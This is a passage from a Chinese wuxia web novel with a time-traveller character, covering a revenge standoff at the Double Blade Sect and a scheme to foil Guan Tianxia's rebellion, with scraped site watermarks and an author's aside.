管天上陷入了沉默。他的目光忽而阴冷,忽然犹豫,过了许久,他叹了一口气,无力的手颤巍巍地端起酒杯,一饮而尽。 他没有再说一句话,起身离开了。 那汉子目送管天上离开,神情有些痛苦。他喃喃叹息,道:“这些年他越来越犹豫不决,看来那一千刀毁掉了不只是他的武功,连那颗心都彻底摧毁了。” 第二卷 武林盟的开始与结局 第一百三十六章 无名 1. 入夜。 周望安早早睡去。我和李小谦在客栈的小院里,仰望星空,几乎同时叹息。 李小谦问我,方才管天上与那汉子之间到底说了些什么。 我将自己所听到的两人的对话像他从头到尾复述了一遍。李小谦竟喃喃地念了“管天下”的名字,眉头蹙起,若有所思。 “怎么了?”我好奇地询问。 李小谦说:“我以前在历史书上从来没有听过管天下这个名字……” 我说:“那又如何?” 李小谦声音低沉,他说:“要么是我不知不觉间改变了历史,要么就是管天下谋划的事在历史上微不足道,不值一提。” 我说:“可是,管天下很厉害,他鼓动了半个江湖来反对我,让我真的很头疼!” 李小谦呵呵一笑,似乎有嘲讽之意,他说:“别那么当回事,你现在遇到的这些问题,可能你觉得已经是什么天塌地陷的大事了,可是放在浩渺无垠的历史大河里,连个屁都不算。” 忽然,我感觉腹部不适,清气上移,浊气下沉,“吥”的一声,一股热乎乎的气流从屁股里蹿了出来。 “什么声音?”李小谦明知故问。 我说:“天塌地陷了!” 我二人哈哈大笑。那场景一直让我回忆了好多年。兄弟情意,兄弟情意,如果没有后来的事情,这些碎片大概会是我一生里最美好的记忆。 然而,世间万物皆有阴阳两面,美好的事物之所以会被我们觉得美好,那是因为它阴暗的一面还未来得及展现在我们面前。 2. 在福州城住了一夜。 次日清晨,周望安本欲向我辞行,赶赴吉安城取回龙神刀以及他师弟房大全的尸首,并将房大全带回龙虎山安葬。 但刚出客栈,我们便见到一骑快马在城中飞扬而过。马背上的人个个蒙着脸,眉头紧蹙,神色焦急。马蹄飞扬,急促得都来不及给路上的行人留下躲避的时间。 一个一身红色衣裳的小女孩,手里攥着火红火红的果子,正津津有味地咀嚼着。当她扭头去看那队飞奔而来的骏马时,马蹄已经距离她不足三尺。 “快躲开!”周望安大吼一声,然而他距离那女孩甚远,根本没有施以援手的机会。 眼看着小女孩即将被强壮的马蹄踏过,生命岌岌可危,我的一颗心登时提到了咽喉之处。千钧一发之际,马背上蒙面人向下一翻滚下马背,顺势抱住那女孩,将她死死护在身下。马蹄踏着他的脊背.飞奔过去,后面的人神色大变,急忙勒住缰绳,在那人跟前险险停下。 一人急忙翻身下马,上前扶起地上的蒙面人,似乎是说了几乎关切的话,那地上的蒙面人缓缓起身,摆了摆手,示意自己没事。但他的眉宇间凝着痛苦的神色,显然是伤得不轻。 那小女孩似乎是被吓傻了,怔怔地愣了许久,瞪着两只惊恐的眼睛一动不动,直到路旁的家人焦急地跑来将她抱起,她才如洪水决堤一般放声大哭起来。 蒙面人似乎真的是有什么异常紧要的事,他们没有迟疑片刻,翻身上马,继续前进。 而就在那个救了小女孩的蒙面人翻身上马的一刻,他脸上的黑巾翻起,露出一张颇为熟悉的脸。 “是何白旗!”我忍不住叫了出来。 “冤家路窄!”周望安大吼一声,拔出虎牙剑追了上去。 李小谦刚从客栈里走出来,便看到周望安的疾驰的背影消失在街巷尽头。他悠哉地问了:“那傻子去哪了?” 我说:“他去追何白旗了。” 李小谦一拍手,大叫:“有好戏!快追!”我还未来得及反应,李小谦已经拉着我如离弦之箭一般飞了出去。 疾风略过耳畔,周望安原本已经消失的背影又出现在我的眼前,并且离我们越来越近。 追了七八里,几乎跑了小半个福州城,周望安终究还是停了下来。 他满脸透红,汗水滴答滴答地往下淌,大口地喘着粗气,骂道:“贼鸟人,待我抓住你,非要将你碎尸万段!” 李小谦拉着我追上周望安,一张脸已经成了蜡黄色,他身子晃了晃,上气不接下气地说:“你,你三条腿追五条腿的,累不死你就算好的了!”61 我头脑一片混乱,问:“哪里来的三条腿、五条腿?” 李小谦并没有回答我,他只是自顾自地喘息,闭上双眼,双手平端着向下推气。很快,周望安恢复了平静,他将虎牙剑塞入剑鞘之中,双腮鼓动,狠狠地说:“我师弟的仇,早晚会找你报!” “磕擦擦、磕擦擦......” 这时,远处传来一阵急促的马蹄声。我们循声看去,只见是一男子驾马而来,他脸上蒙着黑巾,穿着与方才那队往生堂弟子一样的服饰,一手拉着缰绳,一手提着短棍,正急匆匆地向我们奔来。 一人一马略过我们身旁时,我忽听见“铮”的一声,却见是周望安手中刺目的白光一闪而过,四条马腿被虎牙剑齐齐斩断。 枣红马痛苦地长嘶,滚翻在地。马背上的男子“啊”的一声惊呼,坠落马下。周望安大步跨了过去,未等那男子作出任何反应,虎牙剑已抵住了他的咽喉。 “周,周帮主,你......”被周望安扯下黑巾的那人满面惊恐,看着周望安怒目圆睁的样子,吓得面如死灰。 周望安大声问道:“何白旗去哪了?!” 那人吓得浑身颤抖,手中的短棍落在地上,发出“咣啷”一声响。他翻身跪倒在地上,磕着响头,连连求饶:“周帮主饶命,周帮主饶命,我们堂主去了、去了双刀门了!” “管天下?!”周望安诧异道,“他去那里做什么?!” 那人说:“自得罪了南华派与龙虎帮之后,堂主便将往生堂迁到了福州城北三十里的牟家庄。凌晨时分,我们从广西赶回,在福州城外与龙虎帮的弟子交了手,得知周帮主已经来了福州城。堂主怕周帮主找他报仇,因此急忙来了福州城,希望管门主出面说和。” “说和?!”周望安双眼像是要喷出火来一般,他厉声吼道,“他杀我师弟,其实有人说和便能了事的,我要他血债血偿。” 说完,周望安手中的剑轻轻一挥,那人发出一声呻吟,喉管破裂,鲜血涌出,一双充满恐惧的眼睛缓缓闭上。 “你为什么要杀他?!”我不解而愤怒,说,“他不过是一名普通的弟子。” 周望安脸上青筋抽搐,冷冷地说:“往生堂杀我师弟!我便要灭了往生堂满门!” 我说:“冤有头债有主,你这是滥杀无辜。况且,你师弟是......”我话未说完,却有一只手死死地捂住了我的嘴巴。 “我师弟是什么?”周望安问道。 李小谦捂着我的嘴,笑着说:“他的意思是,你师弟是被何白旗一个人杀的,与往生堂其他人没有关系。” 周望安在裤腿上蹭了蹭虎牙剑上的血渍,将蹭得雪亮亮的虎牙剑塞入剑鞘,说道:“有些道理!”他扭头对着地面上那个被他杀死的往生堂弟子,郑重地抱了抱拳,说:“得罪了兄弟,我会给你买口上好的棺材!” 3. 原本性情火爆的周望安得知了何白旗的下落,仿佛是千斤火药被瞬间点燃了一般,在大街上噼里啪啦地一通叫骂之后,提着剑怒气冲冲地向着双刀门奔去。 “你要去做什么?”我紧追其后,开口询问。 周望安头也不回,只喊道:“我要去杀了那个何白旗,替我师弟报仇雪恨!” 虽然,我知道周望安与何白旗之间,或者说是龙虎帮与往生堂之间的这场打战迟早都会发生。但当它真正要到来的时候,仍旧让我异常不安。 因为,这其中毕竟还隐藏着一个谎言。 李小谦拉住我,问:“你想去哪?” 我说:“我要追过去看看。” 李小谦一脸严肃地,说:“这个时候,你最好不要在场。如果房大全的真正死因被说清,你当场就会成为众矢之的!” 我反复思量,最终还是甩开了李小谦的手,说:“我想去看看。” 为什么想去看看? 连我自己都说不清楚,只是心里有个声音反复告诉我,他们是因为那个谎言而结仇,如今打战在即,我应该去那里看看。 双刀门。 商人富贾家宅一般的高门大院。除了门口两座石狮子的脑袋上各悬了一柄短刀,其他的地方看不出一丝一毫的江湖气息。 周望安提着剑在门口大喊:“奸贼何白旗,龙虎帮周望安找你逃命来了!” 声音犹如天上打了一个响雷。很快,双刀门紧闭的大门被打开了。十几名双刀门的弟子腰悬短刀,走出门并及两侧,一脸严肃。站定之后,门中疾步走出一个人影,他满脸堆笑,抱着拳,声如洪钟,说道:“周老弟光临寒舍,管某有失远迎,还请恕罪啊!” 得了手足口病,满手满嘴都是水泡,特别疼。这章本来后面还有好多情节,可是实在忍不住了,太疼了…明天再说吧…断章仓促,抱歉了! 第二卷 武林盟的开始与结局 第一百三十七章 约战 1、 双刀门外。 虎牙剑发着凛凛的寒光。周望安断然拒绝了管天下堂中议事的邀请,冲着双刀门放声大叫“何白旗奸贼,快快滚出来受死!” 管天下在众目睽睽之下被周望安驳了面子,脸色变得异常难堪。他看了一眼我和李小谦,重重地说“都是你们惹得好事!” 我一阵心虚,默然低下了头。 李小谦却装出一副全然不相干的模样,对着管天下一顿驳斥“何白旗自己做了见不得人的事,跟我们有个屁关系。” “你!”管天下青筋暴动,攥头紧紧地攥起。若不是这时周望安又喊了一声,只怕管天下拔出双刀就要冲上来对我俩一顿乱砍。 周望安声如狮吼,震得周边所有人禁不住退了两步,他大叫“管门主,我知道何白旗在你这里,快把他喊出来,跟我决一死战。” 管天下连忙劝道“此事或有误会在其中,周帮主且不要动怒,还是随我到堂中,大家坐下来说明缘由,或许能够化解干戈。大家同是武林同道,何必非要刀剑相向呢!” 周望安冷哼一声,叫道“正是因为同为武林中人,能动手的就别学那些酸秀才唠里唠叨,快叫何白旗出来!” 管天下拳头握得更紧了,他沉吟了半晌,从牙缝间挤出一句“周帮主,我双刀门也不是任由什么人胡来的,还请周帮主思量一下,最好给在下一点薄面,莫要闹得不可收拾!” 周望安丝毫不惧管天下的威胁,他当即对应“面子不给,要不然你杀了我吧。” 管天下被周望安几句话噎得满脸通红,他攥拳的手扶着腰间的刀上又放下,放下了又抬起了扶住,犹豫不决。周望安提着剑一步步地逼近,管天下的额头上竟冒出了细密的汗珠。 周望安越走越快,几步功夫便贴近了管天下,两人相距不足半尺。管天下双手扶在双刀的刀柄之上,眼看着就要拔刀之际,他竟然一握拳将双手狠狠垂下。 管天下是要放弃了吗? 正在我疑惑之际,却隐隐感觉他双拳垂下之时,一股霸道的劲力从他周身喷薄而出。周望安身子剧震,提剑在胸前格挡,但那股劲力太过霸道,竟将周望安震得一连退却数步。 “你,你这是什么功夫?!”一向无所畏惧的周望安似乎是被管天下的一震之力震蒙了,他惊诧地看着管天下,一幅大出所料的申请。 管天下冷冷一笑,言语即客气,又隐含着威胁之意,他说“周帮主还是听在下一句劝,有什么事还是坐下来慢慢商议。” 周望安啐了一口,吼道“没什么好商量的,你以为我会怕了你不 成?!”说罢,他右手持剑,左手翻掌从上至下运转功力。 双刀门外,天地变色,一副肃杀气氛。似乎是所有的人都屏住了呼吸,注目着括苍派武林大会上曾幕后交手的两个人,或许就在下一刻间他们即将展开一场精彩绝伦的对战。 2~¥爱奇文学iqix¥免费阅读 “住手!” 忽然,双道门的大门中闪出一道人影,他一声喝止截断了管天下与周望安之间悄然酝酿的情绪。 何白旗弓着身子,面色苍白,手中提着一根三尺长的铁质短棍。他踉跄着向前走了两步,眉头皱得更紧了,似乎是承受着极大的痛苦。 “周帮主,你找的人是我,不要为难管门主了。”何白旗的声音有些嘶哑,中气不足,似乎是受了内伤,他说,“一人做事一人当,有什么冤仇,你就冲我来吧。” 周望安提剑凝视着何白旗,问“你这是怎么了?” 何白旗叹了口气,说“不妨碍。周帮主既然要杀我,那就现在动手吧,我拼死奉陪。” 风一阵有一阵地吹过,却总也吹不散眼前这紧张的气氛。所有的人脸上都凝着重重的阴翳,因为,所以的人都可以看得出来,无论今日结果如何,只要动手,必然就是一场以性命相搏的战斗,就必然会有死伤。 许久,周望安没有动手。他直直地看着何白旗,脸上写满了犹豫。 “周帮主!”管天下直步迈到两人中间,说,“江湖人都说龙虎帮的周帮主是光明磊落之人。方才,何堂主为救人而身受重伤,若周帮主此时动手杀了何堂主,岂不让人认为周帮主趁人之危,胜之不武?” 或许是管天下如炬般的目光敏锐地捕捉到了周望安心头的犹豫,又或许是他本就对周望安的心性了如指掌,他把握时机,说得字字诛心,这些话让周望安更加犹豫了。 李小谦喊道“管门主此言差矣。周帮主是来报仇的,不是来比武的。一命抵一命即可,哪有什么胜之不武之说。” 管天下脸色骤变,他冷冷地盯着李小谦,杀意更浓。 我扯着李小谦的衣服,低声说“不要再搬弄是非了。这局面已经乱作一团了。” 李小谦说“已经这样了,干脆把局面搅得更乱,最好周望安现在就杀了何白旗,那样的话房大全的死因就彻底不会被翻出来了。” 他这样一说,我忽然开始希望周望安现在便一剑刺死何白旗。想到戳破那个谎言的后果——我不敢想象周望安会如何对我。 犹豫了许久的周望安终于还是缓缓收起了虎牙剑,他冷冷地看着面色苍白的何白旗,说“姓何的,我不愿趁人之危。今日我不出手,不 代表我会放过你。十五日之后,待你伤情痊愈,我再来取你性命,你最好别跑,否则我即便是追你到天涯海角,也要取你狗命!” 何白旗神情一松,长长地舒了一口气,苍白的脸上竟然恢复了几分血色。李小谦看在眼里,他用手肘轻轻拐了拐我肋下,低声说“看了吧,何白旗可真够能装的。” “你怎么知道他是装的?”我诧异地问。 李小谦说“他虽然是被马蹄踏到了后背,但当时他翻身上马离开的时候,你那时候见他伤得有这么重吗?!” 不错。我回想起何白旗救人的那一幕,粗壮的马蹄子的确结结实实地踏过了他的背,但从他站起身来翻身上马时的动作来看,他的确不像是受伤很重的样子。而此刻,何白旗的神色、表象,几乎就像是一个半死之人一般,比起当时的确是夸张了太多。 何白旗! 想到这个名字,我莫名地一阵厌恶。我说“心机沉重,阴险小人。” 3 周望安向管天下草草告辞,转身走到我和李小谦跟前,低声说了一句“走吧。” 我说“何白旗是装的。” 周望安抬头看着我,他的眼神中并没有丝毫的疑惑与惊讶。 我说“你也发现了?” 周望安说“傻子都能看出来。” 我低下头,心情沮丧,说“我没看出来。” 周望安一阵沉默,说“抱歉,我并非说你傻。” 我问“既然你发现了,为何还要放过他?” 周望安说“他既然装足了样子,肯定是有备而来,若我此时动手,无论杀得了杀不了他,都会落得个趁人之危的骂名。我与他约定十五日,就是要堂堂正正地与他较量,不想被人诟病。” 我看着周望安,对这个人的敬意悄然之间又多了几分。他并不全然像江湖传言中的那样一个莽汉,他的目光锐利,心思细腻,而且还是一个光明磊落之人。 由此,我对他的愧疚又多了几分。 我决定告诉周望安,房大全并非直接死于何白旗之手,而是因为身受重伤,运功时崩裂了伤口而死。在我刚要开口的时候,李小谦似乎是察觉了我的心思,他使劲冲我使了个眼色,慌忙开口截断,他说“何白旗他们就是因为了解你,所以才这么做的。” “此话怎讲?”周望安问。 李小谦说“何白旗之所以敢用这苦肉计,便是摸透了你的心思,若是他没有十足的把握就装得一幅半死的模样出来见你,岂不是自寻死路?” 周望安干笑了两声,说“即便如此又如何,我宁可饶他十五日性命, 也不愿让江湖人说我趁人之危、胜之不武。” 李小谦又说“所以,我给你铺了台阶,可惜你自己不下。” 周望安不解地问“何为铺台阶?” 李小谦谈了口气,说“便是我说了那些话,替你绕开了趁人之危这个点,你只管替你师弟报仇便好了,不要管何白旗是什么死样子。” 周望安不屑地笑了一声,没有再去理会李小谦。他停下脚步,转身向我抱拳,郑重说道“得相识于盟主,实在是平生一大快事。今日周某人便告辞了,相叙时日虽短,却也只能道来日方长了。” 我问“你要去哪?” 周望安目光投向西南方向,缓缓地说“吉安!去接我师弟回龙虎山!” 骤然之间说到分离,对刚刚熟识的周望安,我竟感到有些不舍得。然而,我却只能默默抱拳,说一声“保重!” 周望安毅然转身离去。我忽然想起那日房大全临死之时对我说的话,我急忙喊住周望安“等一下!” 周望安驻足转身,疑惑地看着我,问“盟主还有何事?” 我说“房大全临死之时托我给你捎句话。” “什么话?”周望安问。 我说“房大全让我告诉你,他后悔了。” 周望安脸色煞白,他既惊讶又痛苦,嘴巴半张着,一句话都没有说,只是向我微微点了点头,转身离去了。 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百三十八章 计谋 1 周望安走后,我再次感觉到一种强烈的迷茫感。 这场由管天下发起的江湖风波还没有终止,甚至它已超脱了江湖的范畴,正在向着整个天下延伸。 管天下。他的野心正如他的名字一样盛大,着眼于天下,统而管之。 这次平定风波的征途亦远没有走到终点,管天下的阴谋逐渐浮出水面,不禁没有让我豁然开朗,反而更感到无力、无措、慌张 苍穹孤烟,远方的汀泉山如同倒扣的穹顶之下的一座小丘。黄昏的光影在这样辽阔的天地间显得异常浅薄,好像是浸了油的纸,是一种朦胧的半透明。 坐在古道旁的乱石堆上,我看着红日渐渐沉下,夕阳晚霞隐褪后的夜色带着一丝诡异的酡红。杂乱的思绪充斥了我的脑袋,让我更加心烦意乱。 “该怎么办才好?”我喃喃地问自己。 一直在沉默的李小谦说了一个字“等。” 等?! 要等到何时才是尽头呢? 李小谦说“十五日之后,如果周望安一剑杀了何白旗,这件事就算是彻底过去了。” 我更加忧心,问“如果没有杀掉何白旗呢?” 李小谦沉默片刻,说“所以,何白旗必须要死!” 我心头一震,感觉他似乎是在盘算什么。我问“你有什么打算?” 李小谦指了指我怀中,说“那个竹筒,可以作暗器,在周望安与何白旗激斗的时候,杀了他!” 暗箭伤人吗? 想到光明磊落的周望安,我更加无地自容。我摇着头拒绝,说“不行,我做不出这样的事。” 李小谦啐了我一口,说“装什么清高,你” 他话未说完,一阵急促的马蹄声飘扬而来。我俩同时扭头去看,只见酡红的天地交界处,一道骏马奔驰的影子正向着我们飞奔而来。 2 “是谁?” 或许他不过是一个匆忙而过的路人,但在江湖中飘落的许多时日,随时都有可能发生什么事情,也随时都有可能有什么人不期而至。 李小谦站起身来远眺,喃喃道“看着这骑马的姿势,有点像” “柳无风!”我又惊又喜。天际线处,一人端坐马上,身子微微前倾,唯有那后背上标志性的大刀翘着两端,随着马蹄飞扬一上一下的颠簸。 “我靠!”李小谦叫道,“真的是他!他怎么来了?!” 我说“是我叫他来的。” “你什么时候”李小谦惊讶地看着我。 我说“来福州之前,我给柳无风写 了一封信,叫他带兵赶来。” “为什么?!”李小谦有些愤怒。 我并没有理会他的愤怒,只是向他解释“和管天下谈判,需要有武力做后盾。” 李小谦质问“那你为什么不事先告诉我?” 我攥紧拳头,低声回答“我觉得,这样的事我可以自己做主。” 李小谦冷笑一声,满含嘲讽意味,他说“还是你已经不再信任我了?” 气氛忽然变得很尴尬,这种尴尬我始料未及。我低头沉默,不知如何回答李小谦的质问。我也在这是开始反思,到底我当时一意孤行的决定是对还是错? 李小谦不知是自言自语,还是有意说给我听,他低声地念着“我以为,我真的全心全意地帮你,如今看来倒是我自作多情了。” 他这话说得意味深长,似乎暗含了什么深刻的意思。 已容不得我再多去想什么,柳无风已经驾马赶到我跟前。他看了我一眼,有些诧异,勒住缰绳后翻身下马,问“你们怎么在这里?” 李小谦冷冷地哼了一声,兀自坐在路边,一言不发,显然是仍在生我的气。柳无风大概是习惯了李小谦对他的态度,他只是冷眼地瞥了李小谦一下,并没有说什么,而是直接问我“管天下那里现在怎么样了?” 柳无风毕竟是朝廷的人。到底要不要告诉他管天下的密谋呢? 我心中犹豫,不敢开头。我看着李小谦,向他投去求助的目光。李小谦却一摆手,十分冷漠地说“你别看我,我什么都不知道。你自己这么有主意,自己看着办吧!” 柳无风眉头一皱,问“发生了什么事?” 琢磨不定的事,我还是决定不说。我岔开话题,问“怎么你一个人来了?” 柳无风说“大军跑得慢,我性子急,不愿等。” 我问“来了多少人?” 柳无风伸出一个手掌,翘着五根手指。 我惊讶道“五万?!” 柳无风摇了摇头,说“五千!” “切!”李小谦不屑地说,“来这么几个人,有毛蛋用!” 我点头称是,说“对呀,怎么才带了五千人?” 柳无风说“兵马调动需要钱粮,皇上说,最近手头比较紧,没钱给我报账!” 我一着急,失口说道“可是管天下要造反,他手下有一万多人!” 柳无风脸色大变,叫道“他哪里来的这么多人?!” 我这才发现自己失言,竟然将管天下密谋造反的事直接说了出来。眼下既然已经这样了,我只好硬着头皮继续说“我听到,双刀门 在各地暗中开设了许多武馆,一则收钱传授武艺,二则暗中招揽人马。” 柳无风沉吟片刻,转身上马,调转马头就要走。我连忙挡在马前,问“你要去哪?” 柳无风说“回去找皇上要钱。” “然后呢?”我继续追问。 柳无风哼了一声,说“当然是再去调人马!” 我说“你什么时候回来?” 柳无风掰着手指算了算,说“快些的话,一个月便带兵赶来。” 带兵赶回那时候,便真的是一场腥风血雨、生灵涂炭的战争了。 “快让开!”柳无风扯着缰绳对我喊着。 我说“或许,我们还有其他办法阻止管天下造反,总好过兵戈相见,死伤无辜吧。” 柳无风重重地说“一群反贼,有什么无辜可言!快让开,莫要耽搁了大事!”他一扬手,马鞭在我脸前“啪”的一声打了个响儿。我慌忙退后几步,柳无风再扬马鞭,骏马长嘶,狂奔而去。 完了! 这一场战争只怕已经不可避免了! 我心绪更加杂乱,似乎满头满脑的乱线缠绕,厘不清解不开,到底要怎么做才能化解这场风波? “踏踏踏踏” 原本已经越来越远的马蹄声又突然变得清晰起来。我抬头一看,竟然是柳无风又驾马奔了回来。 我心中大喜,莫非他已改变主意,愿意与我一试,阻止管天下的造反? 柳无风面无表情地停在我面前,他高坐在马背上,全然不顾我激动而渴望的神情,淡淡地说“皇上说,各地灾荒国库吃紧,从下月起武林盟经费缩减七成。你弄过去的那二十几个小娘们儿,你自行处置吧!”说完,他仍不顾我眼中的失落与诧异,调转了马头。 临走时,柳无风又说了一句“那个叫苏红袖的还不错,你若不介意,我就接回府上了。”说罢,他再次扬鞭而去。 “什么?!”李小谦霍地站了起来,指着柳无风的背影大叫“面瘫脸,那苏红袖是老子的,你想都别想!” 很快,一人一马奔入昏暗的天际,化作朦胧的黑点,直到彻底消失,却留下了两道心绪向左的人影。 一个惊慌失落。 一个愤怒不已。 3 真的只能如此了吗? 我仍旧不能死心。我答应过陈伯洋,我会竭尽全力地去保这个江湖无虞。如今,烽火即将燃起,半壁江湖就要沦丧。 我不甘心。 或许在柳无风回来之前,我还能做些什么。 总之,只要管天下不造反,或许一切都 有转机。 我再次向李小谦求助“帮帮我!” 李小谦冷漠地看着我,说“爱莫能助!” 我一攥拳,咬牙放下尊严,求他“我求你了,帮帮我!” 李小谦惊讶地看着我,他脸上表情变化,可以看出内心经历挣扎。最后,他长长叹了一口气,说“我也不是小气的人。但我这是最后一次帮你,这次之后,我就走了!” 我忙问“你要去哪里?” 李小谦面向南方,说“广东,寻祖!” 我问“那个叫李罪的人?” 李小谦一脸不悦,说“不许你直呼我祖宗大名!” 我连忙道歉,继续问“你为何一定要去找他?” 李小谦目光中流露出崇敬之色,他说“我们家有族谱,历代传承,祖先是一个叫李罪的人,生于公元1121年,也就是宣和三年。我祖先可是大名鼎鼎,富甲天下,宋孝宗北上伐金的时候都找我们祖先家借的钱。我要是能认祖归宗,到时候可就是荣华富贵、福禄双全了!” 我问“宋孝宗是谁?” 李小谦说“赵构他儿子!” 皇上的儿子?! 我附在李小谦耳边,小声的说“听说皇上那个方面不行,他儿子当年在镇江吓死了,哪里还会有儿子?” 李小谦白了我一眼,说“你别问我,问我我也不告诉你,剧透历史会造成很恶劣的影响的。搞不好,九百年以后老子的爹妈连婚都结不成了!” 虽然听不懂,但我也没有多问。毕竟我对谁当皇上这样的事情并不在意,我在意的只有眼下之事。 我回归正题,说“管天下的事” 李小谦托着下巴,一副沉思的样子,他说“看来,只有一条路可以走了。” “什么路?”我问。 李小谦冷笑着说“策动天上,取而代之。” (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百三十九章 跟踪 1 策动天上,取而代之。 李小谦的意思是,管天下野心勃勃,他殚精极虑,筹谋已久,若想让他改变心意恐怕难上加难。但管天上不同,他虽然与管天下是同胞兄弟,但他从他的言语中可以得知,他并不认同管天下所谋划的事,甚至与管天下立场相对。因此,若管天上替代管天下成为双刀门的门主,那么这场危机便可以迎刃而解。 我仍有担忧,我说“可是,那天管天上说他顾忌兄弟情意,宁可与一同赴死也不愿手足相残啊!” 李小谦奸邪一笑,说“事在人为。既然他们手足情深,那么就挑得他们反目成仇!” 我问“怎么挑?” 李小谦说“俗话说的好,兄弟如手足,女人如衣服,谁穿我衣服,我砍他手足!” 我说“后半句我没听过。” 李小谦一摆手,说“你听没听过不要紧,关键是这个道德。” 我反复思索,仍旧不明所以。我问“到底要怎么做?” 李小谦嘿嘿一笑,说“关键就在那王慈心身上!” 王慈心?! 我仍然不能明白李小谦的意思,我继续追问“这与王慈心有什么关系。” 李小谦咬牙切齿,一副恨铁不成钢的样子,指着我额头训斥“笨蛋啊,笨蛋!这王慈心就是管天上的衣服,如果管天下与王慈心有奸情,你说管天上会不会剁了管天下?!”他眉毛一挑,笑得十分奸诈。 我问“你怎么知道王慈心和管天下有奸情?” 李小谦似乎已经绝望了,他低头沉默,忽然对我大吼“你想办法啊!造谣啊!闹得满城风雨,就算是没有奸情恐怕也有奸情了!” 我心头一震,叫道“你要陷害王慈心?!” 李小谦幽幽地叹了一口气,说“虽然我也不想这么做,她毕竟长得和唐婉那么像可是,这是唯一的办法!只有让管天上取代管天下成了双刀门的门主,才能彻底粉碎管天下造反的阴谋!” 我感觉自己仿佛是坠入了深不见底的悬崖,光秃秃的崖壁上陡然出现了一根救命的树干,但那树干之上却缠绕着剧毒的藤蔓。抓住它,虽有一线生机,却可能身中剧毒,若不去抓它,不肖片刻便要坠入崖底,摔得粉身碎骨。 犹豫! 挣扎! 李小谦看着我,冷冷地说“别圣母心了,成大事者不拘小节,这是你唯一的选择!” 我一咬牙,重重说道“就这么做!” 2 福州城中。 我和李小谦蛰伏了整整五日。这五日里,我们到处打 探王慈心与管天上的事情,昼夜不停歇地搜寻有关二人之间的传闻轶事,力求在行动之前做到对此二人了如指掌,由此找到突破口。 五天过去了,我们什么都没有打听到。 这日,夜幕刚刚降临。 一家隐蔽的小客栈里,昏暗的灯火在夜风之中摇曳。我心急如焚,一拍桌子,叫道“不能再等了,万一柳无风带兵赶赴福州的消息提前到达双刀门,岂不就再也没有机会了?!” 李小谦稳稳地坐在凳子上,斜倚着墙脚说“你吵吵什么!你连他们两个人的关系怎么样都打听不到,怎么下手?万一他们两个人就是名义夫妻,你硬要栽赃管天下和王慈心有奸情,未必能达到预想的效果。” “那要如何是好啊!”内心的急躁让我心绪难平,在狭小的厅堂里来回踱步。 李小谦摇头叹息,晃悠着站起身子,迈着闲碎的步子向客栈外走去。 我慌忙喊住他“你要去哪?” 李小谦说“与其在这里干坐着,倒不如出去碰碰运气,说不定还能碰到王慈心或者管天上呢。”说罢,他继续向门外走。 我一捶手,只好随他走出了客栈。 3 偌大的福州城里,一到夜间就变得一场冷清。 晚风卷起地面上的几片碎纸,在空中旖旎舞动,像是夜里空中游荡的幽魂,那穿过幽深巷子吹出来的风,带着呼呼的声音,犹如鬼泣一般。 这瘆人气氛,让我直觉得恐惧,身上寒毛直立,不禁发抖。 “为什么白日里熙熙攘攘的福州城一到了晚上便如同鬼城一般?”我忍不住问了一句。 李小谦使劲捶了我一拳,喝道“别他妈的乱说,什么鬼城!分明就是前任知府扫黄打非留下的后遗症!” 客栈的掌柜曾对我们说过,前任知府在任期间,开展的那一场声势浩大的“斩妖”行动,一举荡平了福州城里全部的名楼暗馆。但他仍觉得意犹未尽,总觉得这场斩妖行动的结果未达到他的心理预期。为了巩固战果,他号召全程巡捕出门夜巡,凡日落后在街面上晃荡的,男的视有嫖客之嫌,女的视有娼妓之嫌,一律抓入监牢候审,搞得满城风声鹤唳、草木皆兵,福州百姓怨声载道。 据说,曾经有一名年仅十二岁的小童,在天黑之后为父亲出门打酒,被巡街的府衙抓住,以嫖客之嫌押入监牢候审。其父母双亲问讯后,连夜奔赴绍兴府衙喊冤,行至半途却被当做嫖客与娼妓双双送入监牢,一家三口在牢房中得以团聚,抱头痛哭。 虽然,那任福州知府很快被朝廷问责,免任归田。然而,一朝被蛇咬,十年怕井 绳。自此之后,夜晚成了深埋在福州百姓心中的那条井绳,每逢夜幕降临,所有的人匆忙回到家中,无一人敢在街上闲逛。 行至双刀门之时。空旷清冷的街道上晃过两道身姿曼妙的人影。她们各自提着一盏橘红小灯,一前一后,步履急促,很快没入黑夜之中。 “是王慈心!”我和李小谦同时脱口而出。 踏破铁鞋无觅处。没想到,只是在出门碰碰运气,竟然巧遇王慈心。我心中大喜,说“快跟上去。” 李小谦拦住我,说“等一会儿!那娘们儿耳朵眼儿尖得很,跟得太近又被她发现了。” 我心里着急,说“再不跟上去,恐怕就要错失机会了。” 李小谦说“一会儿我们跟着远远的盯着那两盏灯就好了。” 我瞬间想起了那日在汀泉山跟踪廖七嫂的情景,我说“别捉奸不成,又换了别人。” 李小谦说“不会的,这次是俩灯,盯紧点不会有问题的。” 说话间,茫茫一片的黑夜里只剩下两个模糊的红点,远远看去,几乎已混成一团。我见时机稍纵即逝,不等李小谦说话,已快步跟了上去。 李小谦在我身后叹息了一声,脚步声响起,小声提醒道“慢点跟,别被发现了。” 4 王慈心与另一名女子齐步靠近了福州城门前。 夜深,城门紧闭。 两只硕大的灯笼高悬于城门之上,在高大巍峨的城门跟前,看起来就如同是两粒弹丸一般大小。 驻守城门的几个衙差正蹲在城门下呼呼大睡,对两名不期而至的女子浑然未觉。 王慈心二人并没有向城门靠近,而是转头向东,沿着城墙行了莫约五六百米。突然,王慈心将手中的灯笼交给了另外一名女子,她挽住那女子的胳膊,腾身一跃,在笔直的城墙上“踏踏”两步,转眼间跃上城墙。 二人在墙头站稳后,王慈心回首张望。我和李小谦赶忙侧身隐入墙角,片刻之后,我探出头来向墙头望去,只见一轮圆月高悬半空,城墙之上竟已经是空空如也。王慈心与另一名女子已不知所踪。 我快步跑到城墙下面,李小谦紧跟在后面。望着五丈多高的城墙,我心急如火,抓着脑袋直叫“怎么办?怎么办?” 李小谦不紧不慢从后腰间掏出一个铁钩,另一只手上却挂着不知从哪里摸来的绳索,他说“老子再帮你一回。”说罢,将绳索缠在铁钩上打了一个死结,递到我手中,说“使出你的牛劲,把它扔到墙头上去。” 我心情顿时激动万分,接下铁钩,将全身力气聚于右臂之上,抡了几个大圈,猛 地一松手,铁钩牵着绳索直冲天际,高高越过墙头,飞起十丈多高,眼看着快要挂到月亮上了。 “我靠!”李小谦叫道,“你发射火箭呢,扔他妈的这么高!” 铁钩在空中划了一个弧线,直直坠下,落在城墙之上发出“啪”的一声脆响。 “什么人?!” 